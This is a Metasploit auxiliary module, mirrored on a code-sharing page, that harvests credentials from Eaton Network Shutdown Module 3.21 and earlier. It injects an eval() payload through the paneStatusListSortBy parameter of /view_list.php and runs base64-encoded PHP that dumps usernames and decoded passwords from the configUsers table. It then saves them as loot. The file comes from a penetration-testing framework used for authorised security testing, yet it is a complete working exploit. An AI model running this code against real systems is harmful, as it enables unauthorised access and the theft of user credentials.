CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/gather/eaton_nsm_creds.rb
Views: 11623
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Auxiliary::Report
8
include Msf::Exploit::Remote::HttpClient
9
10
def initialize(info = {})
11
super(update_info(info,
12
'Name' => 'Network Shutdown Module sort_values Credential Dumper',
13
'Description' => %q{
14
This module will extract user credentials from Network Shutdown Module
15
versions 3.21 and earlier by exploiting a vulnerability found in
16
lib/dbtools.inc, which uses unsanitized user input inside a eval() call.
17
Please note that in order to extract credentials, the vulnerable service
18
must have at least one USV module (an entry in the "nodes" table in
19
mgedb.db).
20
},
21
'References' =>
22
[
23
['OSVDB', '83199'],
24
['URL', 'https://web.archive.org/web/20121014000855/http://secunia.com/advisories/49103/']
25
],
26
'Author' =>
27
[
28
'h0ng10',
29
'sinn3r'
30
],
31
'License' => MSF_LICENSE,
32
'DisclosureDate' => '2012-06-26'
33
))
34
35
register_options(
36
[
37
Opt::RPORT(4679)
38
])
39
end
40
41
def execute_php_code(code, opts = {})
42
param_name = Rex::Text.rand_text_alpha(6)
43
padding = Rex::Text.rand_text_alpha(6)
44
php_code = Rex::Text.encode_base64(code)
45
url_param = "#{padding}%22%5d,%20eval(base64_decode(%24_POST%5b%27#{param_name}%27%5d))%29;%2f%2f"
46
47
res = send_request_cgi(
48
{
49
'uri' => '/view_list.php',
50
'method' => 'POST',
51
'vars_get' =>
52
{
53
'paneStatusListSortBy' => url_param,
54
},
55
'vars_post' =>
56
{
57
param_name => php_code,
58
},
59
'headers' =>
60
{
61
'Connection' => 'Close'
62
}
63
})
64
res
65
end
66
67
def read_credentials
68
pattern = Rex::Text.rand_text_numeric(10)
69
users_var = Rex::Text.rand_text_alpha(10)
70
user_var = Rex::Text.rand_text_alpha(10)
71
php = <<-EOT
72
$#{users_var} = &queryDB("SELECT * FROM configUsers;");
73
foreach($#{users_var} as $#{user_var}) {
74
print "#{pattern}" .$#{user_var}["login"]."#{pattern}".base64_decode($#{user_var}["pwd"])."#{pattern}";
75
} die();
76
EOT
77
78
print_status("Reading user credentials from the database")
79
response = execute_php_code(php)
80
81
if not response or response.code != 200 then
82
print_error("Failed: Error requesting page")
83
return
84
end
85
86
credentials = response.body.to_s.scan(/\d{10}(.*)\d{10}(.*)\d{10}/)
87
return credentials
88
end
89
90
def run
91
credentials = read_credentials
92
if credentials.empty?
93
print_warning("No credentials collected.")
94
print_warning("Sometimes this is because the server isn't in the vulnerable state.")
95
return
96
end
97
98
cred_table = Rex::Text::Table.new(
99
'Header' => 'Network Shutdown Module Credentials',
100
'Indent' => 1,
101
'Columns' => ['Username', 'Password']
102
)
103
104
credentials.each do |record|
105
cred_table << [record[0], record[1]]
106
end
107
108
print_line
109
print_line(cred_table.to_s)
110
111
loot_name = "eaton.nsm.credentials"
112
loot_type = "text/csv"
113
loot_filename = "eaton_nsm_creds.csv"
114
loot_desc = "Eaton Network Shutdown Module Credentials"
115
p = store_loot(loot_name, loot_type, datastore['RHOST'], cred_table.to_csv, loot_filename, loot_desc)
116
print_good("Credentials saved in: #{p.to_s}")
117
end
118
end
119
120